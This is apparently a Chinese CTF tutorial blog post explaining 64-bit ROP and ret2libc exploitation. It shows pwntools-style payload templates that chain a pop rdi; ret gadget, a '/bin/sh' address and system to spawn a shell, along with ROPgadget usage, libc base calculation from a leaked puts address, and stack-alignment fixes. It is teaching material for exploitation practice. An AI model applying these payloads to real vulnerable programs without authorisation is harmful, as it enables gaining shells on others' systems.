64 位程序中,第一个参数通常不是从栈上取,而是从 rdi 寄存器里取,所以需要先用 pop rdi; ret/bin/sh 的地址放进 rdi,再跳到 system 执行。程序代码本身一般不在栈上,而是在 .text 段;栈上主要存放局部变量、saved rbp/ebp、返回地址以及函数调用相关的数据 但严格来说,system 执行完以后还是会 ret,它也会需要返回地址。只是 CTF 里我们拿到 shell 后,一般不关心 system 返回以后程序去哪了。想更稳可以在后面接一个 exit 地址:

payload = padding
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(exit_addr)

好了,让我们回到64位程序ROP的payload讲解

其中第一个参数放在:

rdi

所以如果我们想执行:

system("/bin/sh");

就需要让程序满足:

rdi = "/bin/sh" 字符串地址
rip = system 函数地址

也就是说,不能像 32 位那样直接把 /bin/sh 地址放在 system 后面,因为 64 位的 system 不会从那里取第一个参数

我们需要先把 /bin/sh 的地址放进 rdi,然后再跳转到 system

这时就要用到一个 gadget:

pop rdi ; ret

它的作用是:

pop rdi  → 从当前栈顶取出8字节数据,放进 `rdi` 寄存器,然后让 `rsp` 往后移动 8 字节

ret      → 从当前栈顶取出 8 字节数据,放进 `rip`,然后 CPU 跳到这个地址继续执行。

所以 pop rdi; ret 合起来是什么意思?

pop rdi
ret

合起来就是:

先从栈顶取 8 字节放进 rdi
再从新的栈顶取 8 字节放进 rip,让程序跳过去执行(以本题举例,跳到 `system` 以后,`system` 会按照 64 位调用约定,从 `rdi` 里取第一个参数)

所以 64 位 ROP 的 payload 通常是:

payload = padding
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

执行流程可以这样理解:

程序返回时执行 ret
→ 跳到 pop rdi ; ret

pop rdi
→ 把栈上的 binsh_addr 弹进 rdi

ret→ 跳到 system_addr

此时:
rdi = binsh_addr
rip = system_addr

详细一点,就是:

函数返回时,先执行原函数的 ret

ret 会从栈顶拿 8 字节放进 rip,然后让程序跳过去执行

rip = pop_rdi_ret
rsp 往后移动 8 字节

于是程序跳到:

pop rdi
ret

此时栈变成:

rsp →  /bin/sh 字符串地址       
        system@plt 地址

然后执行:

pop rdi

pop rdi 会从当前栈顶拿 8 字节,放进 rdi

rdi = /bin/sh 字符串地址
rsp 往后移动 8 字节

这时候栈变成:

rsp →  system@plt 地址

接着执行 gadget 里的:

ret

这个 ret 又会从当前栈顶拿 8 字节放进 rip

rip = system@plt

于是程序跳到 system@plt 执行。

此时寄存器状态正好是:

rdi = /bin/sh 字符串地址
rip = system@plt

所以效果就是:

system("/bin/sh");

为什么要用 ROPgadget?

因为我们需要在程序里找到类似这样的指令片段:

pop rdi ; ret

这个片段不一定是程序员主动写出来的,而是二进制程序中已有指令组合出来的 gadget

所以我们可以用 ROPgadget 来查找:

ROPgadget --binary 文件地址 | grep "pop rdi"

找到后会得到类似:

0x0000000000400xxx : pop rdi ; ret

这个地址就可以放进 payload 里。


为什么 64 位里地址要用 p64()

因为 64 位程序中地址是 8 字节。
函数返回时执行 ret,会从栈顶取 8 字节放进 RIP

所以 64 位里要用:

p64(addr)

而不是:

p32(addr)

32 位是:

ret 取 4 字节 → 放进 EIP

64 位是:

ret 取 8 字节 → 放进 RIP

system 地址用哪个?

如果程序里有 system@plt,也可以使用 system@plt 的地址。

system@plt 可以理解成程序中调用 libc system 函数的跳板,它是一段可执行代码,可以作为跳转目标。

但是在很多 64 位 ret2libc 题里,程序本身不一定直接有 system@plt,或者我们需要先泄露 libc 地址,再计算 libc 中真正的 system 地址。

这时一般流程是:

1. 泄露某个 libc 函数地址,比如 puts
2. 根据 libc 偏移算出 libc 基地址
3. 计算 system 地址
4. 计算 "/bin/sh" 字符串地址
5. 构造第二次 ROP,执行 system("/bin/sh")

也就是:

libc_base = leaked_puts - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

然后 payload:

payload = padding
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

为什么不能用字符串里的 "system"

因为字符串 "system" 只是普通数据,不是函数代码。

它在内存中可能只是:

73 79 73 74 65 6d 00s  y  s  t  e  m  \0

这只是字符串内容

如果把返回地址改成字符串 "system" 的地址,CPU 会跳到这几个字符那里,把它们当机器指令执行,大概率直接崩溃。

所以要分清:

system 函数地址 / system@plt 地址 → 代码地址,可以跳过去执行
"system" 字符串地址               → 数据地址,不能当函数执行

为什么 /bin/sh 字符串地址可以用?

因为 /bin/sh 不是拿来执行的,而是拿来当 system 的参数。

system 的函数原型可以理解成:

int system(const char *command);

它需要一个字符串地址作为参数。

所以 /bin/sh 的地址不是放在返回地址位置,而是要放进第一个参数寄存器 rdi 里。

因此 64 位 payload 里需要:

payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

含义是:

pop rdi ; ret  → 把 /bin/sh 地址放进 rdi
/bin/sh 地址   → 作为 system 的第一个参数
system 地址    → 跳过去执行 system

为什么有时候还要加一个 ret?

64 位程序还可能遇到栈对齐问题。
有些情况下 payload 明明地址都对,但是跳到 system 后会崩,这时可能是栈没有按 16 字节对齐。

解决方法通常是在 pop rdi; ret 前面或者 system 前面加一个单独的 ret 地址:

payload = padding
payload += p64(ret_addr)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

这个 ret_addr 的作用是让 rsp 多移动 8 字节,从而调整栈对齐。


所以ROP 可以总结成:

32 位:
padding + system地址 + system返回地址 + "/bin/sh"地址

64 位:
padding + pop rdi; ret + "/bin/sh"地址 + system地址
感谢阅读!如果你觉得这篇文章对你有帮助,欢迎扫码赞赏支持,你的鼓励是我持续创作的动力 ❤️

本文为原创内容,转载请注明出处。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇